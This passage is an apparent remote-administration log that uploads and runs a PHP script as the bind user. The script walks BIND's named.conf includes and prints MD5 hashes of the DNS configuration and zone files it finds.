MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.conf)= f89894bce93149ef3a0ee72cf3b46a92
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.txt)= a7ff8245b49d737356e14402ef69e0b4
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.conf)= fff6889b13905b5a22a0a280541beb17
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.txt)= 2557fbb1b0ce22dfcad39f117fb5d836
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.conf)= 6e60a6f4a772f19624e54937eadf00e0
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.txt)= 12ec6f783d6ac3bdd3f9d6921b1ba27a
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.conf)= 4aa3a1169a84c53167ee8dcce6128883
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.txt)= ff229c913624671483309b6b5a233790
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.conf)= b35e87166fa75b0eecbabb2958595374
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.txt)= 9dbcf27730c478ead28397cbef193659
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.conf)= 370ad953107dab595a234500850414cb
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.txt)= 1f5511319facf6dd7179e0ee9cac0c65
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.conf)= 41dfde821e6536d01c57049ace3f0fa8
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.txt)= 3b9749b3aa1d39b252fd354cb1d30abc
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.conf)= aa0c41a8f288d69eeb16567b5e0aec56
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.txt)= 0cc05ded4f42eaa5e3a66f7466b55045
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.conf)= 0c12e9548e598ad77eff62d2c68142b2
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.txt)= 215db2579062c3dd4bf7e5ed22982e75
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.conf)= 9c40952b0c50507ea64d4480409cb2e8
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.txt)= a144f5668b70541e3def64047fe02b6c
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.conf)= 51e286d25a9fbd96f007a7084de18dd9
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.txt)= 100f002295ca521d3ac0f418694f3c7d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.conf)= 622d9a736c9f30648387448aca7f497d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.txt)= 76a58050470ad602876bce6b4a5fdb65
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.conf)= 980c7a4583fe35da8df0033a57098def
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.txt)= 1c72526f84c81411b499ac602473f56b
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.conf)= 7a6022b5c53bafd967d3c9873a04bf86
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.txt)= 0657908fdb73b80608db9fcde03ef46f
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.conf)= 85a2b7310c5460015abddb6ef0af3a56
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.txt)= 558dea320db1d773932c92910d1dbdd0
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.conf)= 81f4dbaa2ef4e9abd0e967b4ad2586b2
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.txt)= 7174b344b0ae3fb0d1e887f7b7a8cca1
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.conf)= 7a7a30e25dd61c59d71673818fb4b731
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.txt)= 4ef4e881b38eacff7ef2cb121ee2a31d
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.conf)= 4475af152483db05440ac1bdb9e91ed8
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.txt)= d8822ffb89db1df7c92e5994559a29f1
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.conf)= 5f673bc37590247b80c11d0349e7039b
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.txt)= f74085c0552a3fba6622491abdbfce06
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.conf)= ece349c6e4fb427405bbce5b5501fec7
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.txt)= 66b17acb39553d9ae5c46141fa7072cc
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.conf)= 34f0d361e4a9e09f563e1b9ebb2d21db
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.txt)= 2a324e4d3ddfd35539af500663112679
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.conf)= 9896db403abe67fa779eafab3fb9c466
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.txt)= ccc02fdb93c8840b3a79ed79d7b7ae56
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.conf)= 5160486015bcb3611cd44fe96a0507f2
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.txt)= 5aef34597b77b644cec7fbe4d804cae9
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.conf)= fd0457a783720d5adbc63330db4ba29c
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.txt)= 876777712e30357d4624f45b89f90d25
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.conf)= d22edaa21f398273183ddd5015d8a697
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.txt)= af7980c0c505a2cb9c80a6dcd33fb37d
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.conf)= 0bb3baf9e79ad18c078b64857c5c4fef
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.txt)= 4f2a6ba7f3a1f349813677dc835b72e3
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.conf)= 66ef6c188fde86c68238df5f0f8b1c63
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.txt)= 78845a52d60704d9f479a146f3151909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.conf)= f58481f984dabea5d5aecf889dafd909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.txt)= 21e91dfd8a70957d62dfd3f65c252eaf
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.conf)= 41de67f9c6ff20a481de2604a5cc468c
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.txt)= 3de8aa47e4be97fb0088cbc5bd4e5d00
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.conf)= be458f7ab43d9f713dcd9551784820da
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.txt)= fd0a8c652b27589f5908fcf7f1e9f6e0
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.conf)= 9809fac7437d3482422b2fcdb2aae89f
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.txt)= eaf427f91784f271895869ca9c1c31ab
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.conf)= 97e7b02dd275ffcd326cf55868836a13
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt)= 40b7175d2b62682e5c5caf5b86494e7c
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.conf)= f523d5f69970191d187717079c3462cf
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.txt)= 07d2f0972f7571a5c93312f943645728
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.conf)= 6640cf357a97668fe84a5e7953c321a0
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.txt)= 5e87428bc4cd6d266c7a77bc507057f8
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.conf)= fa27de2710b5a788f7b06af0b88b058e
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.txt)= fd137abd12b564c60a25d7c8ee1677ee
MD5(/etc/bind/named.conf.default-zones)= 9fbdc4657090b3b2a45f7e7b8468cf96
MD5(/usr/share/dns/root.hints)= 256a3e44f5821c498cf777dd118944a6
MD5(/etc/bind/db.local)= e5d27ead2d238928a08d33c7a7333477
MD5(/etc/bind/db.127)= 64f5cf50e8d8192109dad43b779e5e36
MD5(/etc/bind/db.0)= 43e4adb661f18a102a9c2ad1e192e825
MD5(/etc/bind/db.255)= 8aba258068c8c60a7ade3952a285f57d


2026-04-25 10:39:07: Establishing a connection
2026-04-25 10:39:07: 

PUT: /tmp/pkp654213

#!/usr/bin/php
<?php

// What files are being used by Bind, and what are their contents?
//   php's token_get_all() makes this fairly quick

	$directory = '/etc/bind';
	ob_start('ob_gzhandler');
	parseFile('named.conf');
	ob_end_flush();

function parseFile($filename, $parse = TRUE) {
	global $directory;
	if ($filename[0] != '/') $filename = realpath($directory . '/./' . $filename);
	$hash = md5_file($filename);
	echo "MD5({$filename})= {$hash}\n";

	if ($parse) {
		$content = "<?php\n" . file_get_contents($filename);
		$tokens = token_get_all($content);
		$i = 0;
		parseGroup($tokens, $i);
	}
}

function unQuote($value) {
	$ch = $value[0];
	if ($ch == '"' || $ch == "'") {
		if (substr($value, -1) == $ch) {
			$value = substr($value, 1, -1);
		}
	}
	return $value;
}

function addEntry(&$current) {
	global $directory;
	if (count($current)) {
		switch($current[0]) {
			case 'include':
				$filename = unQuote($current[1]);
				parseFile($filename);
				break;
			case 'directory':
				$directory = unQuote($current[1]);
				break;
			case 'file':
				$filename = unQuote($current[1]);
				parseFile($filename, FALSE);		// Resource File - do not parse
				break;
		}
	}
	$current = [];
}

function ParseGroup($tokens, &$i) {
	$current = [];
	$c = count($tokens);
	while ($i < $c) {
		$token = $tokens[$i];
		if (is_array($token)) {
			$token_name = $token[0];
			$token_data = $token[1];	// [2] = line number
		} else {
			$token_name = -1;
			$token_data = $token;
		}
		switch ($token_name) {
			case -1:
				if ($token_data == ';') {			// end of statement
					$i++;
					addEntry($current);
				} elseif ($token_data == '{') {		// group
					$i++;
					ParseGroup($tokens, $i);
				} elseif ($token_data == '}') {		// end of group
					addEntry($current);
					return;
				}
			case T_OPEN_TAG:
			case T_WHITESPACE:
			case T_COMMENT:
				break;
			case T_DNUMBER:		// 127.0 / .0 / .1
			case T_LNUMBER:
			case T_CONSTANT_ENCAPSED_STRING:
			case T_STRING:
			case T_INCLUDE:
				$current[] = $token_data;
				break;
		}
		$i++;
	}
	addEntry($current);
}

2026-04-25 10:39:07: 

runuser -l bind -s /bin/bash -c '/tmp/pkp654213; rm /tmp/pkp654213'

2026-04-25 10:39:07: 


MD5(/etc/bind/named.conf)= 6df494defbd381f8bc9d76ff6611ba09
MD5(/etc/bind/named.conf.options)= 35371f62b8a2d54eb399121839293544
MD5(/etc/bind/named.conf.local)= 46eba24f57bfe61370317b56ed12e7eb
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.conf)= 0fd08353130bb23e9ce3de6623e547cd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.txt)= 03d4462705df3e3b3447b5e03d69e033
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.conf)= f3bc075b289ef11a7e7fb9730ce45981
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.txt)= db46afa1eaf0998e2096010ff5922625
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.conf)= 229439ac891c563fbf452cfb5b8d8082
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.txt)= 46011b4de1a60b584e110c9275cf58d9
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.conf)= c7d0f7caaf6c7c9b22c53150d660da6d
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.txt)= 05cb0d9a8acaeec415f02a2878e47e99
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.conf)= 92f5ac0b53170f78cd90b11433e00c90
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.txt)= b18383b98052efd1f1c0c13416f7da2a
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.conf)= cf96c96f1d1461ee0e72fa2288f69183
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.txt)= 41be792e22df23608316bdc6d5c02ebb
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.conf)= e25d9cd35ad127e670a08c38380f80dd
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.txt)= 8978877eb7bb428bb9b1624fd66866df
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.conf)= 78daa950362f6df7200d4f288d8fcc24
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.txt)= 2beac4b9c680af375d0427d0ec122336
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.conf)= c08670467eff145eb677c7be4fedd002
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.txt)= 292b467eca3f6f3e89b5906332d932ee
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.conf)= 4fc4049398e3e9ef0d00161bec61b8a9
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.txt)= e373146ad3409ae00911c19a196aba0c
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.conf)= 5738a9fc0adb6f630b2fd1631f76ebc3
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.txt)= b7fd8090ad0c758abe1b81ce7342fe27
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.conf)= a7b88255b74138f72d534f4bd4a55f78
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.txt)= 4c65be2cf42d7b01dff25648a30e0d60
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.conf)= 6ee0aac8bac1e71e0fc3ba188fbd759d
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.txt)= 55b92b69ce255778373fb680dec3d692
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.conf)= d22959f1a2d9d7cb2536df3503919289
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.txt)= c85eeca80d19efbde6476aaa5e378f89
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.conf)= 92a9f7b58f0a8f65037161a776a507b8
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.txt)= 3350c32974ffbafe079a7b2e988461c6
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.conf)= a96b4420934b504593fd2f5230424614
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.txt)= d2257a98a9302b66c20561308c19fdcf
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.conf)= 6eb5284adbf5d232feb60f6e1ab6df01
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.txt)= c6b705f7647f89b3a921503db37fea1e
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.conf)= b0e44b79d08ff8aa48029941ec628f8a
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.txt)= a264743f8f159ddddb0eaa504acd179f
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.conf)= 6c13dfa5be1a030d5ad674727b3a6ca7
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.txt)= 8c06d62e3637a8428b0366618cf3abd7
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.conf)= 69ba71a6df7b67c48ee48d439825b9b8
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.txt)= 87d8872c527a1698c0cbfdfec95dfb04
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.conf)= 015688087db895d82fc3eb3b9e11c692
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.txt)= d1e1050a45218d8a317ce20cd873bddd
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.conf)= befba77b0345213ef42b7d5fff304d70
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.txt)= 64a0bc30bde19c19f61dce2d34ba9f4d
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.conf)= 57e8151924225ca0e8e775f7c467fc0e
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.txt)= 25d0956113a097d2916fee42bd2d5ce8
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.conf)= 4a0086432eb4e2adea559c1ce5927665
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.txt)= 5750103aa360655e27676ee5092b77ef
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.conf)= 1f311b8a6182eeca1501eba415974cdc
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.txt)= c53c26bd24bdda2d1ee3d779b0ccd0a8
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.conf)= 603b053e96cc535f2b53b4f94c071b02
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.txt)= ee53ca31f66425c94bab4f49e8a21876
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.conf)= 97c8d1c1c45d4c3d55a30acba462715e
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.txt)= 6e0a1be9573427f3aecbcd2f457e6ca9
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.conf)= a5c1273a2ca448bbb92c7203a6f0c24e
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.txt)= 2657621e2763f175c78568a13a3b4254
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.conf)= f8bf0700dac5c8c4919aecf3da123f92
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.txt)= 2a8dec65e632ef023e1ae1037f9a8eb8
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.conf)= 549f08df0180e98c4a822c8ff0213408
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.txt)= 9cb7121349a3447b15a4f1444864be56
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.conf)= 83cee68b971fca76ad57abcf7ea79435
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.txt)= bfa28a357931b8963fc3db9342c27396
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.conf)= ddffa1884914311387168172feda086c
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.txt)= ffa7f2c861e2579237365beb35c65328
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.conf)= fc499b7bcc4f7bd1d4827357adb45e7d
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.txt)= cdfc7d29f0f9da0d7cb4cc1c627d340e
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.conf)= 6282a18418d86f206e2410aae573926a
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.txt)= da8d99880c0b4f5d1158902abf4cf39a
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.conf)= f8bc6a67efbdb504a5f85f3787175120
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.txt)= ce97f4641bfe8d4826b6d44097672165
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.conf)= 9c469d124b973a0c48a7084a48df07ed
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.txt)= ebf08621122375f56f22c7d207713b37
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.conf)= f89894bce93149ef3a0ee72cf3b46a92
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.txt)= a7ff8245b49d737356e14402ef69e0b4
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.conf)= fff6889b13905b5a22a0a280541beb17
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.txt)= 2557fbb1b0ce22dfcad39f117fb5d836
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.conf)= 6e60a6f4a772f19624e54937eadf00e0
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.txt)= 12ec6f783d6ac3bdd3f9d6921b1ba27a
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.conf)= 4aa3a1169a84c53167ee8dcce6128883
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.txt)= ff229c913624671483309b6b5a233790
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.conf)= b35e87166fa75b0eecbabb2958595374
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.txt)= 9dbcf27730c478ead28397cbef193659
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.conf)= 370ad953107dab595a234500850414cb
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.txt)= 1f5511319facf6dd7179e0ee9cac0c65
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.conf)= 41dfde821e6536d01c57049ace3f0fa8
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.txt)= 3b9749b3aa1d39b252fd354cb1d30abc
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.conf)= aa0c41a8f288d69eeb16567b5e0aec56
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.txt)= 0cc05ded4f42eaa5e3a66f7466b55045
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.conf)= 0c12e9548e598ad77eff62d2c68142b2
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.txt)= 215db2579062c3dd4bf7e5ed22982e75
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.conf)= 9c40952b0c50507ea64d4480409cb2e8
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.txt)= a144f5668b70541e3def64047fe02b6c
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.conf)= 51e286d25a9fbd96f007a7084de18dd9
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.txt)= 100f002295ca521d3ac0f418694f3c7d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.conf)= 622d9a736c9f30648387448aca7f497d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.txt)= 76a58050470ad602876bce6b4a5fdb65
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.conf)= 980c7a4583fe35da8df0033a57098def
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.txt)= 1c72526f84c81411b499ac602473f56b
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.conf)= 7a6022b5c53bafd967d3c9873a04bf86
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.txt)= 0657908fdb73b80608db9fcde03ef46f
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.conf)= 85a2b7310c5460015abddb6ef0af3a56
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.txt)= 558dea320db1d773932c92910d1dbdd0
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.conf)= 81f4dbaa2ef4e9abd0e967b4ad2586b2
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.txt)= 7174b344b0ae3fb0d1e887f7b7a8cca1
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.conf)= 7a7a30e25dd61c59d71673818fb4b731
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.txt)= 4ef4e881b38eacff7ef2cb121ee2a31d
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.conf)= 4475af152483db05440ac1bdb9e91ed8
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.txt)= d8822ffb89db1df7c92e5994559a29f1
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.conf)= 5f673bc37590247b80c11d0349e7039b
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.txt)= f74085c0552a3fba6622491abdbfce06
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.conf)= ece349c6e4fb427405bbce5b5501fec7
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.txt)= 66b17acb39553d9ae5c46141fa7072cc
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.conf)= 34f0d361e4a9e09f563e1b9ebb2d21db
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.txt)= 2a324e4d3ddfd35539af500663112679
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.conf)= 9896db403abe67fa779eafab3fb9c466
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.txt)= ccc02fdb93c8840b3a79ed79d7b7ae56
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.conf)= 5160486015bcb3611cd44fe96a0507f2
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.txt)= 5aef34597b77b644cec7fbe4d804cae9
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.conf)= fd0457a783720d5adbc63330db4ba29c
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.txt)= 876777712e30357d4624f45b89f90d25
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.conf)= d22edaa21f398273183ddd5015d8a697
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.txt)= af7980c0c505a2cb9c80a6dcd33fb37d
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.conf)= 0bb3baf9e79ad18c078b64857c5c4fef
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.txt)= 4f2a6ba7f3a1f349813677dc835b72e3
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.conf)= 66ef6c188fde86c68238df5f0f8b1c63
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.txt)= 78845a52d60704d9f479a146f3151909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.conf)= f58481f984dabea5d5aecf889dafd909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.txt)= 21e91dfd8a70957d62dfd3f65c252eaf
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.conf)= 41de67f9c6ff20a481de2604a5cc468c
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.txt)= 3de8aa47e4be97fb0088cbc5bd4e5d00
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.conf)= be458f7ab43d9f713dcd9551784820da
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.txt)= fd0a8c652b27589f5908fcf7f1e9f6e0
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.conf)= 9809fac7437d3482422b2fcdb2aae89f
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.txt)= eaf427f91784f271895869ca9c1c31ab
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.conf)= 97e7b02dd275ffcd326cf55868836a13
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt)= 40b7175d2b62682e5c5caf5b86494e7c
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.conf)= f523d5f69970191d187717079c3462cf
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.txt)= 07d2f0972f7571a5c93312f943645728
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.conf)= 6640cf357a97668fe84a5e7953c321a0
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.txt)= 5e87428bc4cd6d266c7a77bc507057f8
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.conf)= fa27de2710b5a788f7b06af0b88b058e
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.txt)= fd137abd12b564c60a25d7c8ee1677ee
MD5(/etc/bind/named.conf.default-zones)= 9fbdc4657090b3b2a45f7e7b8468cf96
MD5(/usr/share/dns/root.hints)= 256a3e44f5821c498cf777dd118944a6
MD5(/etc/bind/db.local)= e5d27ead2d238928a08d33c7a7333477
MD5(/etc/bind/db.127)= 64f5cf50e8d8192109dad43b779e5e36
MD5(/etc/bind/db.0)= 43e4adb661f18a102a9c2ad1e192e825
MD5(/etc/bind/db.255)= 8aba258068c8c60a7ade3952a285f57d


2026-04-25 10:39:34: Establishing a connection
2026-04-25 10:39:34: 

PUT: /tmp/pkp716914

#!/usr/bin/php
<?php

// What files are being used by Bind, and what are their contents?
//   php's token_get_all() makes this fairly quick

	$directory = '/etc/bind';
	ob_start('ob_gzhandler');
	parseFile('named.conf');
	ob_end_flush();

function parseFile($filename, $parse = TRUE) {
	global $directory;
	if ($filename[0] != '/') $filename = realpath($directory . '/./' . $filename);
	$hash = md5_file($filename);
	echo "MD5({$filename})= {$hash}\n";

	if ($parse) {
		$content = "<?php\n" . file_get_contents($filename);
		$tokens = token_get_all($content);
		$i = 0;
		parseGroup($tokens, $i);
	}
}

function unQuote($value) {
	$ch = $value[0];
